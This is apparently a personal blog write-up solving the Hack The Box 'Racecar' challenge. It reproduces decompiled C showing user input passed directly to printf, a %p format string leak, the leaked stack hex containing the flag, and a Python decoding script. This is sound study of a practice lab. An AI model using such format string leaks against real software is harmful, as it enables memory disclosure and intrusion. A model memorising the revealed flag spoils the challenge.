Racecar Hack The Box Write Up

justus Njogu
6 min readApr 10, 2024

--

CHALLENGE DESCRIPTION

Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!

Solution

The challenge provides a zip file that can be unzipped using a password. The password to be used is also provided in the challenge description.

Foot-printing

I used the command

unzip racecar.zip

and the password to unzip the file.

After unzipping the file I obtained one file which is an executable named racecar. I decided to run the file but after providing answers to the few options , I won the race but failed to obtain the file.

I then decided to see the source code of the executable by opening it in Ghidra.

An alternative is to use decompiler explorer which is an online resource, if you don’t have a disassembler locally installed.

After examining the code in Ghidra I found a main() function and in it there were two functions car_menu() and car_selection().

Carefully examining the functions revealed that the car_menu() is the function i should pay more attention to.

main function

void main(void)

{
int iVar1;
int iVar2;
int in_GS_OFFSET;

iVar1 = *(int *)(in_GS_OFFSET + 0x14);
setup();
banner();
info();
while (check != 0) {
iVar2 = menu();
if (iVar2 == 1) {
car_info();
}
else if (iVar2 == 2) {
check = 0;
car_menu();
}
else {
printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
}
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}

car_menu function


void car_menu(void)

{
int iVar1;
int iVar2;
uint __seed;
int iVar3;
size_t sVar4;
char *__format;
FILE *__stream;
int in_GS_OFFSET;
undefined *puVar5;
undefined4 uVar6;
undefined4 uVar7;
uint local_54;
char local_3c [44];
int local_10;

local_10 = *(int *)(in_GS_OFFSET + 0x14);
uVar6 = 0xffffffff;
uVar7 = 0xffffffff;
do {
printf(&DAT_00011948);
iVar1 = read_int(uVar6,uVar7);
if ((iVar1 != 2) && (iVar1 != 1)) {
printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
}
} while ((iVar1 != 2) && (iVar1 != 1));
iVar2 = race_type();
__seed = time((time_t *)0x0);
srand(__seed);
if (((iVar1 == 1) && (iVar2 == 2)) || ((iVar1 == 2 && (iVar2 == 2)))) {
iVar2 = rand();
iVar2 = iVar2 % 10;
iVar3 = rand();
iVar3 = iVar3 % 100;
}
else if (((iVar1 == 1) && (iVar2 == 1)) || ((iVar1 == 2 && (iVar2 == 1)))) {
iVar2 = rand();
iVar2 = iVar2 % 100;
iVar3 = rand();
iVar3 = iVar3 % 10;
}
else {
iVar2 = rand();
iVar2 = iVar2 % 100;
iVar3 = rand();
iVar3 = iVar3 % 100;
}
local_54 = 0;
while( true ) {
sVar4 = strlen("\n[*] Waiting for the race to finish...");
if (sVar4 <= local_54) break;
putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
sleep(0);
}
local_54 = local_54 + 1;
}
if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
coins = coins + 100;
puVar5 = &DAT_00011538;
printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
&DAT_000119de);
__format = (char *)malloc(0x171);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
/* WARNING: Subroutine does not return */
exit(0x69);
}
fgets(local_3c,0x2c,__stream);
read(0,__format,0x170);
puts(
"\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
);
printf(__format);
}
else if (((iVar1 == 1) && (iVar3 < iVar2)) || ((iVar1 == 2 && (iVar2 < iVar3)))) {
printf("%s\n\n[-] You lost the race and all your coins!\n",&DAT_00011548);
coins = 0;
printf("[+] Current coins: [%d]%s\n",0,&DAT_00011538);
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}

You can carefully examine the code above for studying purpose, but to keep it short, basically it’s:

  • If you choose car 1 and race 2, or car 2 and race 1, you win
  • When you win, it let you input something there, and print it back out

vulnerability analysis

The code revealed that the code was vulnerable to a format string attack as indicated on line 80 below. it also required a file named flag.txt as indicated on line 69 below.

For more information on this exploit kindly visit format string attack information

After winning the executable then required me to input some data. Which would be used to produce the flag but encoded in hexadecimal format. I then had to decode the flag to get the actual readable flag.

exploitation

I created a flag.txt file and added some data that would be easy to identify in hexadecimal format, in this case ‘AAAAA’. After doing this I ran the executable file again and this time after winning the race I passed %p multiple times as the data, since I didn’t know what data encoded in hexadecimal would be the flag. This was the actual process of using exploit strings in the format string attack to exploit the vulnerability.

This produced a hexadecimal string

0x574361c0 0x170 0x56555d85 0x1 0x5e 0x26 0x1 0x2 0x5655696c 0x574361c0 0x57436340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xf149d800 0xf7f9e3fc 0x56558f8c 0xfffe9b38 0x56556441 0x1 0xfffe9be4 0xfffe9bec

I then wrote a script to decode this in a decode.py file which when run using the command

python3 decode.py

produced the flag.

decode.py code

#!/usr/bin/env python3
import re

raw_flag = input("Enter the raw data: ")

raw_flag = raw_flag.split()[::-1]

for i in range(len(raw_flag)):
raw_flag[i] = re.findall('..', raw_flag[i])

flag = []
for chars in raw_flag:
word = ""
for char in chars[::-1]:
if char != '0x':
word += chr(int(char, 16))
flag.append(word)

flag.reverse()
print(''.join(flag))

Since it took me a few tries to get the correct exploit string as I was doing it manually, I did some research and discovered there is an automated way to find the flag using pwntools.

Note: You need to have installed pnwtools in your computer for the automated way to work. To install it kindly visit https://pypi.org/project/pwntools/

For more info on the automated way of finding the flag kindly visit my github page for the code https://github.com/justo340/racecar-CTF/

Special thanks to https://remoteshell.zip/racecar/ for the detailed walk-through of the challenge.

Thank you for reading.

--

--

justus Njogu
justus Njogu

Written by justus Njogu

I am a cyber security enthusiast with a background in software engineering

No responses yet